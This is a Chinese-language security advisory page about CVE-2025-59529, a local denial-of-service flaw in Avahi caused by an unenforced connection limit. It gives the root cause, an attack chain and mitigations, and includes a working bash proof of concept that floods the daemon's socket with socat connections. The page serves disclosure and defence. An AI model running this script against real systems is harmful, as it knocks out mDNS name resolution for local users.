IPBUF安全漏洞报告
English
CVE-2025-59529 CVSS 5.5 中危

CVE-2025-59529 Avahi本地拒绝服务漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-59529
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Avahi (0.9-rc2及之前版本)

相关标签

拒绝服务本地攻击AvahimDNSDNS-SD文件描述符耗尽内存耗尽CVE-2025-595290.9-rc2

漏洞概述

Avahi是一个用于在本地网络上通过mDNS/DNS-SD协议套件进行服务发现的系统。该漏洞存在于Avahi的简单协议服务器中,其在处理客户端连接时忽略了文档中记录的客户端限制(CLIENTS_MAX),无条件接受无限数量的连接。虽然代码中定义了CLIENTS_MAX常量,但server_work()函数会无条件调用accept(),client_new()函数总是追加新客户端并递增n_clients计数器,缺少对限制的检查。当由于avahi-daemon达到最大socket数量而无法接受客户端时,程序会对每个连接无条件地记录错误日志。未授权的本地用户可以通过此漏洞耗尽守护进程内存和文件描述符,导致mDNS/DNS-SD服务系统范围的拒绝服务。耗尽本地文件描述符会导致系统负载增加,因为每个请求都会记录错误。过载会阻止使用nss-mdns插件的glibc调用来解析*.local.域名和链路本地地址。

技术细节

漏洞根本原因在于Avahi代码中虽然定义了CLIENTS_MAX宏用于限制最大客户端数量,但在实际实现中完全没有使用这个限制。server_work()函数在主循环中无条件接受新连接,client_new()函数总是将新客户端添加到列表中并递增n_clients计数。攻击者可以利用此漏洞通过快速创建大量连接来耗尽系统资源。技术细节包括:1) server_work()函数缺少对n_clients的检查;2) client_new()函数无条件追加客户端;3) 当达到系统最大文件描述符限制时,accept()调用失败但仍会记录大量错误日志;4) 这导致CPU和内存资源被错误日志处理消耗。攻击者只需本地访问即可发起攻击,无需特殊权限。

攻击链分析

STEP 1
步骤1
攻击者获得本地系统访问权限,识别avahi-daemon正在运行且socket文件可访问
STEP 2
步骤2
攻击者通过avahi-simple-protocol向/run/avahi-daemon/socket发起大量连接请求
STEP 3
步骤3
server_work()函数无条件接受所有连接,client_new()将每个客户端添加到列表并递增n_clients
STEP 4
步骤4
随着连接数增加,avahi-daemon内存使用量持续增长,文件描述符被耗尽
STEP 5
步骤5
系统达到最大文件描述符限制后,每个新连接都会触发错误日志记录,导致CPU负载激增
STEP 6
步骤6
nss-mdns插件无法解析*.local域名和链路本地地址,影响所有本地应用程序的DNS解析功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-59529 PoC - Avahi Local DoS via Unlimited Connections # This PoC demonstrates the vulnerability by creating many connections # to exhaust avahi-daemon's resources AVAHISOCK="/run/avahi-daemon/socket" MAX_CONNECTIONS=500 # Check if socket exists if [ ! -S "$AVAHISOCK" ]; then echo "[-] Avahi socket not found at $AVAHISOCK" exit 1 fi echo "[*] CVE-2025-59529 PoC - Avahi Local DoS" echo "[*] Target: $AVAHISOCK" echo "[*] Creating $MAX_CONNECTIONS connections..." # Function to create connection using netcat or socat create_connection() { timeout 0.5 socat - UNIX-CONNECT:$AVAHISOCK 2>/dev/null & echo $! } # Create multiple connections PIDS="" for i in $(seq 1 $MAX_CONNECTIONS); do PID=$(create_connection) PIDS="$PIDS $PID" if [ $((i % 50)) -eq 0 ]; then echo "[*] Created $i connections..." fi done echo "[*] Waiting for connections to exhaust resources..." sleep 3 echo "[*] Cleaning up..." for pid in $PIDS; do kill $pid 2>/dev/null done killall socat 2>/dev/null echo "[+] PoC executed. Check avahi-daemon status and system load."

影响范围

Avahi 0.9-rc2及之前所有版本

防御指南

临时缓解措施
临时缓解措施包括:1) 修改/run/avahi-daemon/socket的权限,限制非授权用户访问;2) 使用文件系统ACL限制对socket的访问;3) 配置SELinux策略阻止未授权进程访问socket;4) 监控avahi-daemon的资源使用情况,设置告警阈值;5) 考虑使用systemd限制avahi-daemon的进程资源;6) 临时禁用avahi-daemon(如果不需要mDNS服务)。注意:avahi-resolve、avahi-resolve-address等工具使用DBus接口,不受此漏洞影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表